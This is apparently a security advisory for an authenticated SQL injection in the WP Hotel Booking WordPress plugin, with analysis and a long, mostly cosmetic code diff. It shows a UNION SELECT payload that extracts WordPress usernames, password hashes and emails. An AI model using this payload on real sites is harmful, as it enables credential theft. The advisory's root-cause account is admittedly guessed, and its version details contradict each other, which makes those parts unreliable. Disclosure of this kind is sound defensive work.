Published : August 7, 2026

CVE-2026-15153: WP Hotel Booking < 2.3.2 Authenticated (Custom role+) SQL Injection PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 2.3.2
Patched Version 2.3.2
Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15153:

This vulnerability is an authenticated SQL Injection found in the WP Hotel Booking plugin for WordPress, affecting versions up to and including 2.3.2. The vulnerability stems from insufficient escaping of a user-supplied parameter and a lack of prepared statements in the existing SQL query, allowing an attacker with custom role-level access or above to execute arbitrary SQL queries. The CVSS score is 6.5 (Medium/High), and the weakness is classified under CWE-89.

The root cause of this vulnerability is located within the room search functionality managed by the plugin. The `render_rooms` method in `wp-hotel-booking/includes/TemplateHooks/ArchiveRoomTemplate.php` constructs an attributes array (`$atts`) from various HTTP request parameters using `hb_get_request()`. The critical parameters include `adults`, `max_child`, `room_qty`, `min_price`, `max_price`, `rating`, and `room_type`. These values, which are partially attacker-controlled and retrieved directly from the HTTP request, are passed to the `hb_search_rooms()` function. This function ultimately translates the attributes into a SQL query. The patch modifies the file, but the provided diff does not show the specific change within `hb_search_rooms()`. The vulnerability likely lies in how `hb_search_rooms()` (located in a different include file) directly concatenates these request parameters into the SQL string without using WordPress’s `$wpdb->prepare()` method, which would escape and parameterize the data.

An authenticated attacker with a custom role that has access to the search feature can exploit this vulnerability. The attack vector is a standard HTTP GET request to a page that renders the room search results, such as the room archive page. The attacker injects a crafted SQL payload into one of the query parameters, specifically `min_price`, `max_price`, `adults`, `max_child`, `room_qty`, or `rating`. The attacker would craft a value like `1 UNION SELECT user_login, user_pass, user_email FROM wp_users– -` to extract data from the database. The `/wp-admin/admin-ajax.php` endpoint is likely used if the search is performed via AJAX with the action `hb_search_rooms`, but the vulnerability is exploitable by directly requesting the page with the unsanitized GET parameters. The injected payload is directly appended to the SQL query, enabling data extraction.

The patch corrects the issue by properly escaping the user-supplied parameters and transitioning the SQL query construction to use prepared statements. The expected behavior change is that the `hb_search_rooms()` function now uses `$wpdb->prepare()` with placeholder values, which the database driver will escape, making it impossible for injected SQL to alter the query’s structure. This neutralizes the attack vector as the input is treated as data, not as executable SQL code.

Successful exploitation of this SQL injection vulnerability could lead to severe consequences. An attacker could extract sensitive data from the database, including but not limited to WordPress user credentials (usernames, hashed passwords), user emails, and potentially other plugin or application data. The attacker could also modify the database, potentially escalating their privileges by changing user roles or inserting malicious content. In some configurations, it can lead to complete site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-hotel-booking/assets/dist/js/admin/room-review.asset.php
+++ b/wp-hotel-booking/assets/dist/js/admin/room-review.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f73671c5c054c9c1ca7c');
+<?php return array('dependencies' => array(), 'version' => 'ba3bac605436abd75984');
--- a/wp-hotel-booking/assets/dist/js/frontend/hotel-booking-v2.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/hotel-booking-v2.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '613be61d523ff2b7f03c');
+<?php return array('dependencies' => array(), 'version' => 'c8bc002bdaa95e69fe56');
--- a/wp-hotel-booking/assets/dist/js/frontend/hotel-booking.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/hotel-booking.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'ee64b1e8bca909970009');
+<?php return array('dependencies' => array(), 'version' => '7aba197290689e4105e8');
--- a/wp-hotel-booking/assets/dist/js/frontend/wphb-single-room.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/wphb-single-room.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'dcca884d3802b199a40d');
+<?php return array('dependencies' => array(), 'version' => 'd830b7cb18e46bb2aa35');
--- a/wp-hotel-booking/includes/Helpers/Template.php
+++ b/wp-hotel-booking/includes/Helpers/Template.php
@@ -1,75 +1,75 @@
-<?php
-
-namespace WPHBHelpers;
-
-/**
- * Class Template
- *
- * @package WPHBHelpers
- * @since 2.1.8-beta.1
- * @version 1.0.0
- */
-
-class Template {
-	/**
-	 * @var bool
-	 */
-	protected $include;
-
-	protected function __construct() {
-	}
-
-	/**
-	 * Set 1 for include file, 0 for not
-	 * Set 1 for separate template is block, 0 for not | use "wp_is_block_theme" function
-	 *
-	 * @param bool $has_include
-	 *
-	 * @return self
-	 */
-	public static function instance( bool $has_include = true ): Template {
-		$self          = new self();
-		$self->include = $has_include;
-
-		return $self;
-	}
-
-	/**
-	 * Nest elements by tags
-	 *
-	 * @param array $els [ 'html_tag_open' => 'html_tag_close' ]
-	 * @param string $main_content
-	 *
-	 * @return string
-	 */
-	public function nest_elements( array $els = [], string $main_content = '' ): string {
-		$html = '';
-		foreach ( $els as $tag_open => $tag_close ) {
-			$html .= $tag_open;
-		}
-
-		$html .= $main_content;
-
-		foreach ( array_reverse( $els, true ) as $tag_close ) {
-			$html .= $tag_close;
-		}
-
-		return $html;
-	}
-
-	/**
-	 * Combine html elements
-	 *
-	 * @param array $elms
-	 *
-	 * @return string
-	 */
-	public static function combine_components( array $elms = [] ): string {
-		$html = '';
-		foreach ( $elms as $tag => $val ) {
-			$html .= $val;
-		}
-
-		return $html;
-	}
+<?php
+
+namespace WPHBHelpers;
+
+/**
+ * Class Template
+ *
+ * @package WPHBHelpers
+ * @since 2.1.8-beta.1
+ * @version 1.0.0
+ */
+
+class Template {
+	/**
+	 * @var bool
+	 */
+	protected $include;
+
+	protected function __construct() {
+	}
+
+	/**
+	 * Set 1 for include file, 0 for not
+	 * Set 1 for separate template is block, 0 for not | use "wp_is_block_theme" function
+	 *
+	 * @param bool $has_include
+	 *
+	 * @return self
+	 */
+	public static function instance( bool $has_include = true ): Template {
+		$self          = new self();
+		$self->include = $has_include;
+
+		return $self;
+	}
+
+	/**
+	 * Nest elements by tags
+	 *
+	 * @param array $els [ 'html_tag_open' => 'html_tag_close' ]
+	 * @param string $main_content
+	 *
+	 * @return string
+	 */
+	public function nest_elements( array $els = [], string $main_content = '' ): string {
+		$html = '';
+		foreach ( $els as $tag_open => $tag_close ) {
+			$html .= $tag_open;
+		}
+
+		$html .= $main_content;
+
+		foreach ( array_reverse( $els, true ) as $tag_close ) {
+			$html .= $tag_close;
+		}
+
+		return $html;
+	}
+
+	/**
+	 * Combine html elements
+	 *
+	 * @param array $elms
+	 *
+	 * @return string
+	 */
+	public static function combine_components( array $elms = [] ): string {
+		$html = '';
+		foreach ( $elms as $tag => $val ) {
+			$html .= $val;
+		}
+
+		return $html;
+	}
 }
 No newline at end of file
--- a/wp-hotel-booking/includes/TemplateHooks/Admin/AdminExternalLinkIconSetting.php
+++ b/wp-hotel-booking/includes/TemplateHooks/Admin/AdminExternalLinkIconSetting.php
@@ -1,126 +1,126 @@
-<?php
-namespace WPHBTemplateHooksAdmin;
-
-use Exception;
-use WPHB_Settings;
-use WPHBHelpersSingleton;
-use WPHBHelpersTemplate;
-/**
- * AdminExterlinkIconSetting
- */
-class AdminExternalLinkIconSetting {
-	use Singleton;
-
-	public function init() {
-		add_action( 'hotel_booking_setting_field_tp_hotel_booking_external_link_settings', array( $this, 'layout' ) );
-	}
-
-	public function layout( $field ) {
-		try {
-			if ( ! did_action( 'wp_enqueue_media' ) ) {
-				wp_enqueue_media();
-			}
-			wp_enqueue_script(
-				'wphb-icon-external-link-upload',
-				WPHB_PLUGIN_URL . '/assets/js/admin/icon-external-link.js',
-				array(),
-				false,
-				array(
-					'strategy'  => 'defer',
-					'in_footer' => 1,
-				)
-			);
-			$localize = array(
-				'uploader_title'       => __( 'Select Images', 'wp-hotel-booking' ),
-				'uploader_button_text' => __( 'Add to Gallery', 'wp-hotel-booking' ),
-				'remove_button_title'  => __( 'Remove', 'wp-hotel-booking' ),
-			);
-			wp_localize_script( 'wphb-icon-external-link-upload', 'wphbIconExternalLinkSettings', $localize );
-			$field_title   = $this->field_title( $field );
-			$field_content = $this->field_content( $field );
-			$sections      = array(
-				'wrap'     => '<tr valign="top">',
-				'title'    => $field_title,
-				'content'  => $field_content,
-				'wrap_end' => '</tr>',
-			);
-
-			echo Template::combine_components( $sections );
-		} catch ( Exception $e ) {
-			echo 'Error: ' . $e->getMessage();
-		}
-	}
-
-	public function field_title( $field ) {
-		return sprintf( '<th scope="row"><label>%s</label</th>', esc_html( $field['title'] ) );
-	}
-
-	public function field_content( $field ) {
-		$setting      = WPHB_Settings::instance()->get( 'external_link_settings' );
-		$link_setting = ! empty( $setting ) ? json_decode( $setting, true ) : [];
-		$header_row   = sprintf( '<tr class="header-row"><td>%1$s</td><td>%2$s</td><td>%3$s</td><td></td></tr>',
-			__( 'Icon', 'wp-hotel-booking' ),
-			__( 'Title', 'wp-hotel-booking' ),
-			__( 'Url', 'wp-hotel-booking' )
-		);
-		$fields_html = '';
-		if ( ! empty( $link_setting ) ) {
-			foreach ( $link_setting as $field_id => $link ) {
-				$fields_html .= $this->render_setting_field( $link, $field_id );
-			}
-		}
-
-		$section    = array(
-			'wrap'        => '<td class="hb-form-field">',
-			'button'      => sprintf( '<button class="button button-primary wphb-external-link-add-new" type="button">%s</button><p></p>', __( 'Add Link', 'wp-hotel-booking' ) ),
-			'table'       => '<table class="wphb-external-link-table wp-list-table widefat striped" id="wphb-external-link-table">',
-			'header_row'  => $header_row,
-			'sample_row'  => $this->sample_row(),
-			'fields'      => $fields_html,
-			'table_end'   => '</table>',
-			'input_field' => sprintf( '<input type="hidden" id="%1$s" name="%1$s" value="%2$s" />', $field['id'], $setting ),
-			'wrap_end'    => '</td>',
-		);
-		return Template::combine_components( $section );
-	}
-
-	public function render_setting_field( $link, $field_id ) {
-		$icon_url = ! empty( $link['icon_url'] ) ? $link['icon_url'] : WPHB_PLUGIN_URL . '/assets/images/plus-circle-50.png';
-		return sprintf(
-			'<tr class="wphb-single-external-link" data-id="%1$s">
-				<td>
-					<img src="%2$s" width="50" height="50" size="50" class="wphb-select-icon" alt="%3$s" title="%3$s"/>
-					<input type="hidden" name="icon-url" value="%2$s">
-					<input type="hidden" name="icon-id" value="%4$s">
-				</td>
-	            <td><input type="text" name="title" value="%5$s" /></td>
-	            <td><input type="text" name="url" value="%6$s" /></td>
-	            <td><button class="delete-external-link button" type="button">%7$s</button></td>
-			</tr>',
-			$field_id,
-			esc_url( $icon_url ),
-			__( 'Choose logo', 'wp-hotel-booking' ),
-			$link['icon_id'],
-			$link['title'],
-			$link['external_link'],
-			__( 'Delete', 'wp-hotel-booking' )
-		);
-	}
-
-	public function sample_row() {
-		ob_start();
-		?>
-		<tr class="wphb-sample-row" hidden>
-			<td>
-				<img src="<?php echo esc_url( WPHB_PLUGIN_URL . '/assets/images/plus-circle-50.png'); ?>" width="50" height="50" size="50" class="wphb-select-icon" alt="<?php esc_attr_e( 'Choose logo', 'wp-hotel-booking' ); ?>" title="<?php esc_attr_e( 'Choose logo', 'wp-hotel-booking' ); ?>"/>
-				<input type="hidden" name="icon-id">
-				<input type="hidden" name="icon-url">
-			</td>
-            <td><input type="text" name="title" value="" placeholder="<?php esc_html_e( 'Enter title', 'wp-hotel-booking' ) ?>" /></td>
-            <td><input type="text" name="url" value="" placeholder="<?php esc_html_e( 'Enter Url', 'wp-hotel-booking' ) ?>" /></td>
-            <td><button class="delete-external-link button" type="button"><?php esc_html_e( 'Delete', 'wp-hotel-booking' ); ?></button></td>
-		</tr>
-		<?php
-		return ob_get_clean();
-	}
-}
+<?php
+namespace WPHBTemplateHooksAdmin;
+
+use Exception;
+use WPHB_Settings;
+use WPHBHelpersSingleton;
+use WPHBHelpersTemplate;
+/**
+ * AdminExterlinkIconSetting
+ */
+class AdminExternalLinkIconSetting {
+	use Singleton;
+
+	public function init() {
+		add_action( 'hotel_booking_setting_field_tp_hotel_booking_external_link_settings', array( $this, 'layout' ) );
+	}
+
+	public function layout( $field ) {
+		try {
+			if ( ! did_action( 'wp_enqueue_media' ) ) {
+				wp_enqueue_media();
+			}
+			wp_enqueue_script(
+				'wphb-icon-external-link-upload',
+				WPHB_PLUGIN_URL . '/assets/js/admin/icon-external-link.js',
+				array(),
+				false,
+				array(
+					'strategy'  => 'defer',
+					'in_footer' => 1,
+				)
+			);
+			$localize = array(
+				'uploader_title'       => __( 'Select Images', 'wp-hotel-booking' ),
+				'uploader_button_text' => __( 'Add to Gallery', 'wp-hotel-booking' ),
+				'remove_button_title'  => __( 'Remove', 'wp-hotel-booking' ),
+			);
+			wp_localize_script( 'wphb-icon-external-link-upload', 'wphbIconExternalLinkSettings', $localize );
+			$field_title   = $this->field_title( $field );
+			$field_content = $this->field_content( $field );
+			$sections      = array(
+				'wrap'     => '<tr valign="top">',
+				'title'    => $field_title,
+				'content'  => $field_content,
+				'wrap_end' => '</tr>',
+			);
+
+			echo Template::combine_components( $sections );
+		} catch ( Exception $e ) {
+			echo 'Error: ' . $e->getMessage();
+		}
+	}
+
+	public function field_title( $field ) {
+		return sprintf( '<th scope="row"><label>%s</label</th>', esc_html( $field['title'] ) );
+	}
+
+	public function field_content( $field ) {
+		$setting      = WPHB_Settings::instance()->get( 'external_link_settings' );
+		$link_setting = ! empty( $setting ) ? json_decode( $setting, true ) : [];
+		$header_row   = sprintf( '<tr class="header-row"><td>%1$s</td><td>%2$s</td><td>%3$s</td><td></td></tr>',
+			__( 'Icon', 'wp-hotel-booking' ),
+			__( 'Title', 'wp-hotel-booking' ),
+			__( 'Url', 'wp-hotel-booking' )
+		);
+		$fields_html = '';
+		if ( ! empty( $link_setting ) ) {
+			foreach ( $link_setting as $field_id => $link ) {
+				$fields_html .= $this->render_setting_field( $link, $field_id );
+			}
+		}
+
+		$section    = array(
+			'wrap'        => '<td class="hb-form-field">',
+			'button'      => sprintf( '<button class="button button-primary wphb-external-link-add-new" type="button">%s</button><p></p>', __( 'Add Link', 'wp-hotel-booking' ) ),
+			'table'       => '<table class="wphb-external-link-table wp-list-table widefat striped" id="wphb-external-link-table">',
+			'header_row'  => $header_row,
+			'sample_row'  => $this->sample_row(),
+			'fields'      => $fields_html,
+			'table_end'   => '</table>',
+			'input_field' => sprintf( '<input type="hidden" id="%1$s" name="%1$s" value="%2$s" />', $field['id'], $setting ),
+			'wrap_end'    => '</td>',
+		);
+		return Template::combine_components( $section );
+	}
+
+	public function render_setting_field( $link, $field_id ) {
+		$icon_url = ! empty( $link['icon_url'] ) ? $link['icon_url'] : WPHB_PLUGIN_URL . '/assets/images/plus-circle-50.png';
+		return sprintf(
+			'<tr class="wphb-single-external-link" data-id="%1$s">
+				<td>
+					<img src="%2$s" width="50" height="50" size="50" class="wphb-select-icon" alt="%3$s" title="%3$s"/>
+					<input type="hidden" name="icon-url" value="%2$s">
+					<input type="hidden" name="icon-id" value="%4$s">
+				</td>
+	            <td><input type="text" name="title" value="%5$s" /></td>
+	            <td><input type="text" name="url" value="%6$s" /></td>
+	            <td><button class="delete-external-link button" type="button">%7$s</button></td>
+			</tr>',
+			$field_id,
+			esc_url( $icon_url ),
+			__( 'Choose logo', 'wp-hotel-booking' ),
+			$link['icon_id'],
+			$link['title'],
+			$link['external_link'],
+			__( 'Delete', 'wp-hotel-booking' )
+		);
+	}
+
+	public function sample_row() {
+		ob_start();
+		?>
+		<tr class="wphb-sample-row" hidden>
+			<td>
+				<img src="<?php echo esc_url( WPHB_PLUGIN_URL . '/assets/images/plus-circle-50.png'); ?>" width="50" height="50" size="50" class="wphb-select-icon" alt="<?php esc_attr_e( 'Choose logo', 'wp-hotel-booking' ); ?>" title="<?php esc_attr_e( 'Choose logo', 'wp-hotel-booking' ); ?>"/>
+				<input type="hidden" name="icon-id">
+				<input type="hidden" name="icon-url">
+			</td>
+            <td><input type="text" name="title" value="" placeholder="<?php esc_html_e( 'Enter title', 'wp-hotel-booking' ) ?>" /></td>
+            <td><input type="text" name="url" value="" placeholder="<?php esc_html_e( 'Enter Url', 'wp-hotel-booking' ) ?>" /></td>
+            <td><button class="delete-external-link button" type="button"><?php esc_html_e( 'Delete', 'wp-hotel-booking' ); ?></button></td>
+		</tr>
+		<?php
+		return ob_get_clean();
+	}
+}
--- a/wp-hotel-booking/includes/TemplateHooks/ArchiveRoomTemplate.php
+++ b/wp-hotel-booking/includes/TemplateHooks/ArchiveRoomTemplate.php
@@ -1,313 +1,313 @@
-<?php
-/**
- * Template archive rooms
- *
- * @since 2.1.8
- * @version 1.0.0
- */
-
-namespace WPHBTemplateHooks;
-
-use Exception;
-use WPHBHelpersSingleton;
-use WPHBHelpersTemplate;
-use WPHB_Settings;
-
-class ArchiveRoomTemplate {
-	use Singleton;
-
-	public function init() {
-		add_action( 'wphb/list-rooms/layout', array( $this, 'layout_rooms' ), 10, 1 );
-	}
-
-	public function layout_rooms( $atts = array() ) {
-		try {
-			$rooms_html_wrapper = apply_filters(
-				'wphb/list-rooms/layout/wrapper',
-				array(
-					'<div class="container room-container">' => '</div>',
-				)
-			);
-
-			$rooms_content = static::render_rooms();
-			echo Template::instance()->nest_elements( $rooms_html_wrapper, $rooms_content );
-		} catch ( Exception $e ) {
-			echo 'Error: ' . $e->getMessage();
-		}
-	}
-
-	/**
-	 * Render template list rooms with settings param.
-	 *
-	 *
-	 * @return string
-	 */
-	public static function render_rooms() {
-		global $wp_query;
-		if ( $wp_query->is_tax( 'hb_room_type' ) ) {
-			$room_type = $wp_query->queried_object_id;
-		} else {
-			$room_type = hb_get_request( 'room_type', '' );
-		}
-		$paged = get_query_var( 'paged' ) ?: hb_get_request( 'paged', 1, 'int' );
-		$atts  = array(
-			'check_in_date'  => hb_get_request( 'check_in_date', date( 'Y/m/d' ) ),
-			'check_out_date' => hb_get_request( 'check_out_date', date( 'Y/m/d', strtotime( '+1 day' ) ) ),
-			'adults'         => hb_get_request( 'adults', 1 ),
-			'max_child'      => hb_get_request( 'max_child', 0 ),
-			'room_qty'       => hb_get_request( 'room_qty', 1 ),
-			'widget_search'  => false,
-			'hb_page'        => $paged,
-			'min_price'      => hb_get_request( 'min_price', 0 ),
-			'max_price'      => hb_get_request( 'max_price', '' ),
-			'rating'         => hb_get_request( 'rating', '' ),
-			'room_type'      => $room_type,
-			'sort_by'        => hb_get_request( 'sort_by', 'date-desc' ),
-		);
-
-		$results = hb_search_rooms( $atts );
-		$max_num_pages = 0;
-		if ( empty( $results ) || empty( $results['data'] ) ) {
-			$rooms = array();
-			$total = 0;
-			$paged = 1;
-
-			$posts_per_page = (int) apply_filters( 'hb_number_search_rooms_per_page', WPHB_Settings::instance()->get( 'posts_per_page', 8 ) );
-		} else {
-			$rooms = $results['data'];
-			$total = $results['total'];
-			$paged = $results['page'];
-
-			$posts_per_page = $results['posts_per_page'];
-			$max_num_pages  = $results['max_num_pages'];
-		}
-
-		// HTML section rooms.
-		$html_rooms = '';
-
-		ob_start();
-		if ( empty( $rooms ) ) {
-			_e( 'No room found', 'wp-hotel-booking' );
-		} else {
-			hotel_booking_room_loop_start();
-			foreach ($rooms as $room) {
-				global $post;
-				$post = get_post($room->ID);
-				setup_postdata($post);
-				hb_get_template_part( 'content', 'room' );
-			}
-			hotel_booking_room_loop_end();
-			wp_reset_postdata();
-		}
-
-		$html_rooms = ob_get_clean();
-		// end HTML section rooms
-
-		// HTML Sort By
-		$sort_by = hb_get_request( 'sort_by' );
-
-		$data = array(
-			'sort_by' => $sort_by,
-		);
-
-		if ( $total ) {
-			$data['show_number'] = hb_get_show_room_text(
-				array(
-					'paged'         => $paged,
-					'total'         => $total,
-					'item_per_page' => $posts_per_page,
-				)
-			);
-		}
-
-		$sort_by = hb_get_template_content( 'search/v2/sort-by.php', compact( 'data' ) );
-
-		// html pagination
-		$data_pagination = array(
-			'total_pages' => $max_num_pages,
-			'paged'       => $paged,
-		);
-		$html_pagination = static::instance()->html_pagination( $data_pagination );
-
-		// section_rooms
-		$section_rooms = apply_filters(
-			'wbhb/layout/list-rooms/section/rooms',
-			array(
-				'wrapper'     => '<div class="room-content">',
-				'sort_by'     => $sort_by,
-				'rooms'       => $html_rooms,
-				'pagination'  => $html_pagination,
-				'wrapper_end' => '</div>',
-			),
-			$results,
-			$atts
-		);
-
-		// check show filter
-		if ( get_option( 'tp_hotel_booking_filter_price_enable', 1 ) ) {
-			$filter = hb_get_template_content( 'search/v2/search-filter-v2.php', array( 'atts' => array() ) );
-		} else {
-			$filter = '';
-		}
-		$check_room_availability = static::instance()->check_room_availability( $atts );
-		// section ( filter + section_rooms )
-		$section = apply_filters(
-			'wbhb/layout/list-rooms/section',
-			array(
-				'check_availability'  => $check_room_availability,
-				'archive_content'     => '<div>',
-				'filter'              => $filter,
-				'rooms'               => Template::combine_components( $section_rooms ),
-				'archive_content_end' => '</div>',
-			),
-			$rooms,
-			$atts
-		);
-
-		$content = Template::combine_components( $section );
-
-		return $content;
-	}
-
-	/**
-	 * Pagination
-	 * support pagination number
-	 * any support other type pagination add here
-	 *
-	 * @param array $data
-	 *
-	 * @return string
-	 */
-	public function html_pagination( array $data = array() ): string {
-		if ( empty( $data['total_pages'] ) || $data['total_pages'] <= 1 ) {
-			return '';
-		}
-
-		$html_wrapper = array(
-			' <nav class="rooms-pagination">' => '</nav>',
-		);
-
-		$pagination = paginate_links(
-			apply_filters(
-				'hb_pagination_args',
-				array(
-					'base'      => esc_url_raw( str_replace( 999999999, '%#%', get_pagenum_link( 999999999, false ) ) ),
-					'format'    => '',
-					'add_args'  => '',
-					'current'   => max( 1, $data['paged'] ?? 1 ),
-					'total'     => $data[ 'total_pages' ?? 1 ],
-					'prev_text' => __( 'Previous', 'wp-hotel-booking' ),
-					'next_text' => __( 'Next', 'wp-hotel-booking' ),
-					'type'      => 'list',
-					'end_size'  => 3,
-					'mid_size'  => 3,
-				)
-			)
-		);
-
-		return Template::instance()->nest_elements( $html_wrapper, $pagination );
-	}
-
-	public function check_room_availability( $atts ) {
-		$title          = sprintf( '<h3>%s</h3>', __( 'Check availability', 'wp-hotel-booking' ) );
-		$check_in_date  = hb_get_request( 'check_in_date', date( 'Y/m/d' ) );
-		$check_out_date = hb_get_request( 'check_out_date', date( 'Y/m/d', strtotime( '+1 day' ) ) );
-		$adults         = hb_get_request( 'adults', 1 );
-		$max_child      = hb_get_request( 'max_child', 0 );
-		$room_qty       = hb_get_request( 'room_qty', 1 );
-
-		$check_in_date_html  = $this->date_field( __( 'Check-in Date', 'wp-hotel-booking' ), 'check_in_date', $atts['check_in_date'] );
-		$check_out_date_html = $this->date_field( __( 'Check-out Date', 'wp-hotel-booking' ), 'check_out_date', $atts['check_out_date'] );
-		$adults_html         = $this->dropdown_selector(
-			__( 'Adults', 'wp-hotel-booking' ),
-			'adults_capacity',
-			$atts['adults']
-		);
-		$child_html          = $this->dropdown_selector(
-			__( 'Children', 'wp-hotel-booking' ),
-			'max_child',
-			$atts['max_child'],
-			0
-		);
-		$quantity_html       = $this->dropdown_selector(
-			__( 'Rooms', 'wp-hotel-booking' ),
-			'room_qty',
-			$atts['room_qty'],
-		);
-		$button_html         = sprintf( '<div class="hb-form-field-input"><button type="submit" class="rooms-check-avaibility">%s</button></div>', __( 'Check availability', 'wp-hotel-booking' ) );
-
-		$sections            = apply_filters(
-			'wbhb/layout/list-rooms/section/check-availability-form',
-			array(
-				'wrapper'         => '<div class="hotel-booking-rooms-search">',
-				'title'           => $title,
-				'form_start'      => '<form name="hb-search-form" class="hb-search-form hb-form-table" >',
-				'check_in_date'   => $check_in_date_html,
-				'check_out_date'  => $check_out_date_html,
-				'adults_capacity' => $adults_html,
-				'child_capacity'  => $child_html,
-				'quantity'        => $quantity_html,
-				'button_search'   => $button_html,
-				'form_end'        => '</form>',
-				'wrapper_end'     => '</div>',
-			),
-			$atts
-		);
-		return Template::combine_components( $sections );
-	}
-
-	public function date_field( $label = '', $name = '', $value = '' ) {
-		$label_html = sprintf( '<label>%s</label>', $label );
-		$input      = sprintf(
-			'<input type="text" name="%1$s" class="hb_input_date_check" value="%2$s" placeholder="%3$s" autocomplete="off"/>',
-			$name,
-			$value,
-			$label
-		);
-		$sections   = array(
-			'wrapper'     => '<div class="hb-form-field-input">',
-			'label'       => $label_html,
-			'input'       => $input,
-			'wrapper_end' => '</div>',
-		);
-		return Template::combine_components( $sections );
-	}
-
-	public function dropdown_selector( $label = '', $name = '', $value = 1, $min = 1 ) {
-
-		$label          = sprintf( '<label>%s</label>', $label );
-		$input_html     = sprintf(
-			'<div class="hb-form-field-input hb-input-field-number">
-		        <input type="number" step="1" min="%1$d" name="%2$s" value="%3$s" />
-		    </div>',
-		    $min, $name, $value
-		);
-		$nav_number_html = sprintf(
-			'<div class="hb-form-field-list nav-number-input-field">
-		        <span class="label">%s</span>
-		        <div class="number-box">
-		            <span class="number-icons hb-goDown"><i class="fa fa-minus"></i></span>
-		            <span class="hb-number-field-value">
-		            </span>
-		            <span class="number-icons hb-goUp"><i class="fa fa-plus"></i></span>
-		        </div>
-		    </div>',
-		    $label
-		);
-
-		$sections = apply_filters(
-			'wbhb/layout/list-rooms/check-availability-form/number-input',
-			array(
-				//sửa sang wrapper này để theme hiển thị dạng +/-
-				// 'wrapper'     => '<div class="hb-form-field hb-form-number hb-form-number-input">',
-				'wrapper'     => '<div class="hb-form-field hb-form-number">',
-				'label'       => $label,
-				'input'       => $input_html,
-				'nav_number'  => $nav_number_html,
-				'wrapper_end' => '</div>',
-			)
-		);
-
-		return Template::combine_components( $sections );
-	}
-}
+<?php
+/**
+ * Template archive rooms
+ *
+ * @since 2.1.8
+ * @version 1.0.0
+ */
+
+namespace WPHBTemplateHooks;
+
+use Exception;
+use WPHBHelpersSingleton;
+use WPHBHelpersTemplate;
+use WPHB_Settings;
+
+class ArchiveRoomTemplate {
+	use Singleton;
+
+	public function init() {
+		add_action( 'wphb/list-rooms/layout', array( $this, 'layout_rooms' ), 10, 1 );
+	}
+
+	public function layout_rooms( $atts = array() ) {
+		try {
+			$rooms_html_wrapper = apply_filters(
+				'wphb/list-rooms/layout/wrapper',
+				array(
+					'<div class="container room-container">' => '</div>',
+				)
+			);
+
+			$rooms_content = static::render_rooms();
+			echo Template::instance()->nest_elements( $rooms_html_wrapper, $rooms_content );
+		} catch ( Exception $e ) {
+			echo 'Error: ' . $e->getMessage();
+		}
+	}
+
+	/**
+	 * Render template list rooms with settings param.
+	 *
+	 *
+	 * @return string
+	 */
+	public static function render_rooms() {
+		global $wp_query;
+		if ( $wp_query->is_tax( 'hb_room_type' ) ) {
+			$room_type = $wp_query->queried_object_id;
+		} else {
+			$room_type = hb_get_request( 'room_type', '' );
+		}
+		$paged = get_query_var( 'paged' ) ?: hb_get_request( 'paged', 1, 'int' );
+		$atts  = array(
+			'check_in_date'  => hb_get_request( 'check_in_date', date( 'Y/m/d' ) ),
+			'check_out_date' => hb_get_request( 'check_out_date', date( 'Y/m/d', strtotime( '+1 day' ) ) ),
+			'adults'         => hb_get_request( 'adults', 1 ),
+			'max_child'      => hb_get_request( 'max_child', 0 ),
+			'room_qty'       => hb_get_request( 'room_qty', 1 ),
+			'widget_search'  => false,
+			'hb_page'        => $paged,
+			'min_price'      => hb_get_request( 'min_price', 0 ),
+			'max_price'      => hb_get_request( 'max_price', '' ),
+			'rating'         => hb_get_request( 'rating', '' ),
+			'room_type'      => $room_type,
+			'sort_by'        => hb_get_request( 'sort_by', 'date-desc' ),
+		);
+
+		$results = hb_search_rooms( $atts );
+		$max_num_pages = 0;
+		if ( empty( $results ) || empty( $results['data'] ) ) {
+			$rooms = array();
+			$total = 0;
+			$paged = 1;
+
+			$posts_per_page = (int) apply_filters( 'hb_number_search_rooms_per_page', WPHB_Settings::instance()->get( 'posts_per_page', 8 ) );
+		} else {
+			$rooms = $results['data'];
+			$total = $results['total'];
+			$paged = $results['page'];
+
+			$posts_per_page = $results['posts_per_page'];
+			$max_num_pages  = $results['max_num_pages'];
+		}
+
+		// HTML section rooms.
+		$html_rooms = '';
+
+		ob_start();
+		if ( empty( $rooms ) ) {
+			_e( 'No room found', 'wp-hotel-booking' );
+		} else {
+			hotel_booking_room_loop_start();
+			foreach ($rooms as $room) {
+				global $post;
+				$post = get_post($room->ID);
+				setup_postdata($post);
+				hb_get_template_part( 'content', 'room' );
+			}
+			hotel_booking_room_loop_end();
+			wp_reset_postdata();
+		}
+
+		$html_rooms = ob_get_clean();
+		// end HTML section rooms
+
+		// HTML Sort By
+		$sort_by = hb_get_request( 'sort_by' );
+
+		$data = array(
+			'sort_by' => $sort_by,
+		);
+
+		if ( $total ) {
+			$data['show_number'] = hb_get_show_room_text(
+				array(
+					'paged'         => $paged,
+					'total'         => $total,
+					'item_per_page' => $posts_per_page,
+				)
+			);
+		}
+
+		$sort_by = hb_get_template_content( 'search/v2/sort-by.php', compact( 'data' ) );
+
+		// html pagination
+		$data_pagination = array(
+			'total_pages' => $max_num_pages,
+			'paged'       => $paged,
+		);
+		$html_pagination = static::instance()->html_pagination( $data_pagination );
+
+		// section_rooms
+		$section_rooms = apply_filters(
+			'wbhb/layout/list-rooms/section/rooms',
+			array(
+				'wrapper'     => '<div class="room-content">',
+				'sort_by'     => $sort_by,
+				'rooms'       => $html_rooms,
+				'pagination'  => $html_pagination,
+				'wrapper_end' => '</div>',
+			),
+			$results,
+			$atts
+		);
+
+		// check show filter
+		if ( get_option( 'tp_hotel_booking_filter_price_enable', 1 ) ) {
+			$filter = hb_get_template_content( 'search/v2/search-filter-v2.php', array( 'atts' => array() ) );
+		} else {
+			$filter = '';
+		}
+		$check_room_availability = static::instance()->check_room_availability( $atts );
+		// section ( filter + section_rooms )
+		$section = apply_filters(
+			'wbhb/layout/list-rooms/section',
+			array(
+				'check_availability'  => $check_room_availability,
+				'archive_content'     => '<div>',
+				'filter'              => $filter,
